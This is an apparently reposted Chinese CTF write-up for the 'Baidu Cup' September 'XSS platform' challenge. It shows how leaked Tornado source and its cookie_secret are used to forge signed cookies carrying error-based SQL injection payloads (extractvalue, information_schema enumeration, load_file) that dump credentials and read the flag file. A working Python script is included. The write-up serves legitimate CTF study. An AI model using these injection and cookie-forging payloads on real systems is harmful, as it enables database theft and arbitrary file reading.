i春秋CTF-“百度杯”CTF比賽 九月場 XSS平台


“百度杯“CTF比賽 九月場

###XSS平台

  看了別人的wp才知道這里需要變數組引起報錯然后百度信息收集,這一步在實戰中我覺得是很有作用的,get到。

 

 

 

 

 

這里取百度rtiny,看別人wp上說這里是因為前面的目錄很正常,這個rtiny看起來有問題,就去百度。。

百度第一欄直接拿下源碼,接下來就是代碼審計。這幾天做題老是遇到pythonweb框架的服務器,所以直接去康啦康教程

這里直接推薦一篇文章 http://shouce.jb51.net/tornado/

 

代碼審計 這里因為之前就看了別人的wp 所以我知道問題出現在lock.py里面哈哈哈

 

 

 

 

Username 和passwd都沒坐什么過濾 直接帶入數據庫查詢

 

 這是定義的ct

 

 

組合起來語句就是

Select * from manager where username='' and password=''

Username來自cookie 但是cookie被加密過

 

 

 

 在username處構造報錯注入 

在index.py里面有那一段參數

"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="

拿來加密我們構造的cookie

腳本

import tornado.web
import tornado.ioloop

settings={
"cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}
class IndexHandler(tornado.web.RequestHandler):
def get(self):
self.write("helloword")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
#self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
self.write(self.get_secure_cookie("username"))

if __name__ == "__main__":
app=tornado.web.Application(
[
(r"/",IndexHandler),
],**settings
)
app.listen(8000)
tornado.ioloop.IOLoop.current().start()


 運行這個腳本,之后在火狐中訪問127.0.0.1:8000 然后拿到cookie,然后帶到lock訪問 運行腳本直接用cmd python+腳本名  //這里如果看不懂就回去看看tornado

這里 burp抓包一定要先抓取訪問題目頁面 ,再去把login改為lock才會返回報錯,我實在不理解是為什么,暫時理解為是login.py 頁面本身可以引起報錯,所以這里才會使用報錯注入,或者是從login頁面進去帶了幾個參數

 

 

 

 

接下來就跑列名 有三列 賬號密碼和郵箱

注意中間有長度限制 拿字段的時候要用到mid()分割

self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")

單然也可以一列一列的跑這里我是參照別人的腳本的語句 但是都是報錯注入

拿到

ichuqiu|318a61264482e503090facfc4337207f|545

賬號 ichuqiu

密碼 拿去MD5 解密得到 Myxss623

登陸進去 再輸入一次密碼 得到后台

看到文件提示

 

 

 

 

 

目錄猜測應該聯想之前報錯  

 

 

目錄在

/var/www/html/

報錯的目錄的上級目錄 //我只能說信息收集太重要了

 接下來用load_file拿到答案 當然也有長度限制 也用mid()

 

 

 

flag{774e6d00-3b97-46a3-99ea-b44805ba3b27}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM